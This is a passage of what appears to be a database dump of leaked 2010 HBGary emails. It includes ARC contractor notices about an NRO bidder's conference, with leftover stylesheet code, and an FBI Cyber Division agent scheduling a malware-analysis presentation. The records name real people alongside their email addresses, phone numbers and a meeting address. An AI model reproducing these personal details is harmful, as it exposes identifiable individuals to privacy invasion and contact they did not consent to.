}\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',8528,'aaron_hbgary_com/8528.html'),(11721,'2010-09-14','arc@westfields.net','/aaron@hbgary.com/new/1297008801.M283993P14101Q6577.eml','federal@hbgary.com','COMM / Roubaix Bidder\'s Conference Scheduled','\r\nA Bidder\'s Conference has been scheduled for the NRO/COMM-Roubaix effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16202,'aaron_hbgary_com/16202.html'),(11722,'2010-09-14','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008801.M485775P14101Q6578.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: HB Gary Presentation','Aaron,\r\n\r\nI just wanted to make sure that we are still on for tomorrow.  Also, can you provide the address that we will meet you at?   Thanks,\r\n\r\nChris\r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC\r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Thursday, September 09, 2010 2:15 PM\r\nTo: Geary, Christopher A.\r\nCc: Delecki, Zachary; Jones, William A. IV\r\nSubject: Re: HB Gary Presentation\r\n\r\nYes.  Look forward to it.  I will send out the meeting notice.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Listed below are the attendees from Cyber Division HQ:\r\n>\r\n> SSA Chris Geary                        Christopher.geary@ic.fbi.gov\r\n> AD Special Advisor  Bill Jones    William.Jones3@ic.fbi.gov\r\n> SSA Zach Delecki                        Zachary.Delecki@ic.fbi.gov\r\n>\r\n>\r\n> The date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Wednesday, September 08, 2010 12:59 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> That will be fine.  Would you like me to send out a meeting notice?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 9:52 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> is this for next Wed? or another day?\r\n>> Aaron\r\n>>\r\n>> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>>\r\n>>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Geary, Christopher A.\r\n>>> Sent: Tue Sep 07 16:56:42 2010\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>>> other locations that might be closer to you.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>>  wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>>\r\n>>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 15213\r\n>>>>\r\n>>>> (412) 268-9244\r\n>>>> ________________________________________\r\n>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>>> To: Geary, Christopher A.\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> Chris,\r\n>>>>\r\n>>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>>\r\n>>>>> Thanks,\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> SSA Christopher A. Geary\r\n>>>>> CERT/CC Liaison\r\n>>>>> 3238 CIC\r\n>>>>> Pittsburgh, PA 15213\r\n>>>>>\r\n>>>>> (412) 268-9244\r\n>>>>> ________________________________________\r\n>>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>>> To: Geary, Christopher A.\r\n>>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>>\r\n>>>>> Hi Chris,\r\n>>>>>\r\n>>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>>\r\n>>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>>\r\n>>>>>> Thank You,\r\n>>>>>>\r\n>>>>>> Chris\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> SSA Christopher A. Geary\r\n>>>>>> CERT/CC Liaison\r\n>>>>>> 3238 CIC\r\n>>>>>> Pittsburgh, PA 15213\r\n>>>>>>\r\n>>>>>> (412) 268-9244\r\n>>>>>\r\n>>>>\r\n>>\r\n',13141,'aaron_hbgary_com/13141.html'),(11723,'2010-09-14','arc@westfields.net','/aaron@hbgary.com/new/1297008801.M56667P14101Q6576.eml','federal@hbgary.com','COMM / Roubaix Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Roubaix effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',3364,'aaron_hbgary_com/3364.html'),(11724,'2010-09-14','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297008801.M683743P14101Q6579.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Gatorbait','Aaron,\r\n\r\nWhen you get this, can you give me a call: 202.341.5999.\r\n\r\nHave a couple questions on upcoming RFPs and want schedule a time to get together.\r\n\r\n     -irby\r\n\r\n\r\n\r\nOn Sep 10, 2010, at 9:27 PM, Aaron Barr  wrote:\r\n\r\n> Hey Irby,\r\n> \r\n> We haven\'t talked in a while.  Might be worth getting together again sometime soon.\r\n> \r\n> Have you heard of the gatorbait contract?  New to me but a few different people have mentioned it to me.  Its forensics, all kinds, so I am told.\r\n> \r\n> Aaron\r\n',10642,'aaron_hbgary_com/10642.html'),(11725,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008801.M905155P14101Q6580.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','Re: HB Gary Presentation','Absolutely we are still on. &nbsp;It wasn\'t in the meeting invite?Let me send in email:2010 Corporate Ridge; McLean; Suite # 700; United States; Virginia 22102See you tomorrow.AaronOn Sep 14, 2010, at 11:44 AM, Geary, Christopher A. wrote:Aaron,I just wanted to make sure that we are still on for tomorrow. &nbsp;Also, can you provide the address that we will meet you at? &nbsp;&nbsp;Thanks,ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Thursday, September 09, 2010 2:15 PMTo: Geary, Christopher A.Cc: Delecki, Zachary; Jones, William A. IVSubject: Re: HB Gary PresentationYes. &nbsp;Look forward to it. &nbsp;I will send out the meeting notice.AaronSent from my iPhoneOn Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"&lt;Christopher.Geary@ic.fbi.gov&gt; wrote:Aaron,Listed below are the attendees from Cyber Division HQ:SSA Chris Geary &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Christopher.geary@ic.fbi.govAD Special Advisor &nbsp;Bill Jones &nbsp;&nbsp;&nbsp;William.Jones3@ic.fbi.govSSA Zach Delecki &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Zachary.Delecki@ic.fbi.govThe date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Wednesday, September 08, 2010 12:59 PMTo: Geary, Christopher A.Subject: Re: FIRST Conference in MiamiThat will be fine. &nbsp;Would you like me to send out a meeting notice?AaronSent from my iPadOn Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"&lt;Christopher.Geary@ic.fbi.gov&gt; wrote:Aaron,If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC. &nbsp;If this doesn\'t work with your schedule, we could reschedule for another day the next week.Thanks,ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Tuesday, September 07, 2010 9:52 PMTo: Geary, Christopher A.Subject: Re: FIRST Conference in Miamiis this for next Wed? or another day?AaronOn Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:Aaron, Tysons would be fine. &nbsp;I\'m still waiting to hear back from a couple of people. &nbsp;Does the afternoon work for you, say 1:30 to 3:30?Chris----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Geary, Christopher A.Sent: Tue Sep 07 16:56:42 2010Subject: Re: FIRST Conference in MiamiSure. &nbsp;I normally use the offices in Tysons Corner but I can checkother locations that might be closer to you.AaronSent from my 